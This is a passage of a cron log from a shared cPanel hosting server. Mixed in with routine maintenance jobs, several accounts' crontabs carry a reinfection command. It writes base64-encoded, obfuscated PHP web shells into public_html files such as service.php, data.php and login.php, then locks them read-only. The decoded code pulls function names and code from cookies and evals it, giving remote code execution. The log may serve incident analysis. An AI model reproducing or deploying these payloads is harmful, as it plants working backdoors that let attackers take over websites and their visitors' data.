Vzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:19:01 medusa CROND[2287]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:19:01 medusa CROND[2288]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:19:01 medusa CROND[2289]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:19:01 medusa CROND[2290]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:19:01 medusa CROND[2291]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:20:01 medusa CROND[17303]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 10:20:01 medusa CROND[17364]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 10:20:01 medusa CROND[17400]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 10:20:01 medusa CROND[17469]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 10:20:01 medusa CROND[17591]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:20:01 medusa CROND[17593]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:20:01 medusa CROND[17594]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:20:01 medusa CROND[17596]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 10:20:01 medusa CROND[17599]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:20:01 medusa CROND[17609]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 10:20:01 medusa CROND[17601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:20:01 medusa CROND[17595]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 10:20:01 medusa CROND[17606]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 10:20:01 medusa CROND[17597]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:20:01 medusa CROND[17615]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:20:01 medusa CROND[17607]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 10:20:01 medusa CROND[17616]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 10:20:01 medusa CROND[17626]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:20:01 medusa CROND[17627]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:20:01 medusa CROND[17625]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 10:20:01 medusa CROND[17629]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 10:20:01 medusa CROND[17630]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:20:01 medusa CROND[17631]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 10:20:01 medusa CROND[17633]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 10:20:01 medusa CROND[17639]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 10:20:01 medusa CROND[17642]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 10:20:01 medusa CROND[17649]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:20:01 medusa CROND[17653]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:20:01 medusa CROND[17648]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 10:20:01 medusa CROND[17650]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 10:21:01 medusa CROND[1362]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 10:21:01 medusa CROND[1453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:21:01 medusa CROND[1454]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:21:01 medusa CROND[1455]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:21:01 medusa CROND[1456]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:21:01 medusa CROND[1457]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:21:01 medusa CROND[1458]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo 